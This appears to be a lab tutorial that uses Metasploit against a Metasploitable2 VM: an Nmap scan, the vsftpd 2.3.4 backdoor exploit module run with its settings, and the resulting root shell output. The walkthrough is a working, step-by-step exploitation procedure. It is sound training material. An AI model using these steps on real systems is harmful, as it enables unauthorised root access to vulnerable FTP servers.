

# Metasploit Hacking

In today's task, we're going to hack the Metasploitable2 machine with Metasploit, targeting the **vsftpd service**.

Metasploitable will have **192.168.1.149/24** as its IP address.

First, let's scan Metasploitable with Nmap, in order to find the port attached to the ftp protocol.

```
(kali㉿kali)-[~]
└─$ sudo nmap -sS 192.168.1.149
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-20 07:33 EDT
Nmap scan report for 192.168.1.149
Host is up (0.0010s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
```

**Port 21** will be our RPORT.

Now, with the command **msfconsole**, we'll open metasploit.

```
(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: You can use help to view all available commands

      .:ok000kdc'          'cdk000ko:,
      .x00000000000000c    c0000000000000x.
      :000000000000000k,    ,k000000000000000:
      '000000000k00000: :0000000000000000'
      o00000000.MMMM.o0000o0000l.MMMM,00000000o
      d00000000.MMMMMM.c00000c.MMMMMM,00000000x
      l00000000.MMMMMMMMMM;d:MMMMMMMMMM,00000000l
      .00000000.MMM.,MMMMMMMMMMMM,MMM,00000000.
      c0000000.MMM.00c.MMMMM o00.MMM,0000000c
      o0000000.MMM.0000.MMM:0000.MMM,000000o
      l00000.MMM.0000.MMM:0000.MMM,00000l
      ;0000'MMM.0000.MMM:0000.MMM;0000;
      .d00o'WM.0000ccc0000.MX'x00d.
      ,k0l'M.0000000000000.M dOk,
      :kk;.0000000000000.;0k:
      ;k000000000000000k:
      ,x000000000000x,
      .l0000000l.
      ,d0d,
      .

      =[ metasploit v6.4.5-dev ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

We'll use the command **search** together with the term **vsftpd** in order to find any exploits related to the service.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution
```

With this, we've got the `vsftpd_234_backdoor` exploit which will allow us to install a backdoor on metasploitable. Now we're going to see which options are available to configure so that we can launch the exploit.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT            yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

We'll set the `RHOSTS` parameter to the `192.168.1.149` IP and we don't need to set the `RPORT` since it's already port `21` by default.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.149   yes       The target host(s), see https://
RPORT      RPORT            yes       The target port (TCP)
```

We can see that the `RHOSTS` has been successfully set.

Since we only have one payload, metasploit will default to it, without having to set it ourselves.

Now we'll launch the attack with the command **exploit**.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.148:41121 → 192.168.1.149:6200) at 2024-05-20 07:45:38 -0400
```

It seems everything went according to plan, let's check quickly with an **ifconfig** command to see if we are inside the target host.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:76:0c:d9
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe76:cd9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1063 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1141 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:68412 (66.8 KB)  TX bytes:65858 (64.3 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

**Ifconfig** gives us the IP address of metasploitable, confirming our success.

Now we will move to the root directory (/) and we will create a new directory inside of it named **test\_metasploit**.

```
cd //
pwd
//
cd /
pwd
/
mk dir test_metasploit
sh: line 11: mk: command not found
mkdir test_metasploit
ls
Mz~J@*I6R
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Thanks to the ls command we can see which files and directories are present in the root directory. As we can see, we were successful in creating the new directory.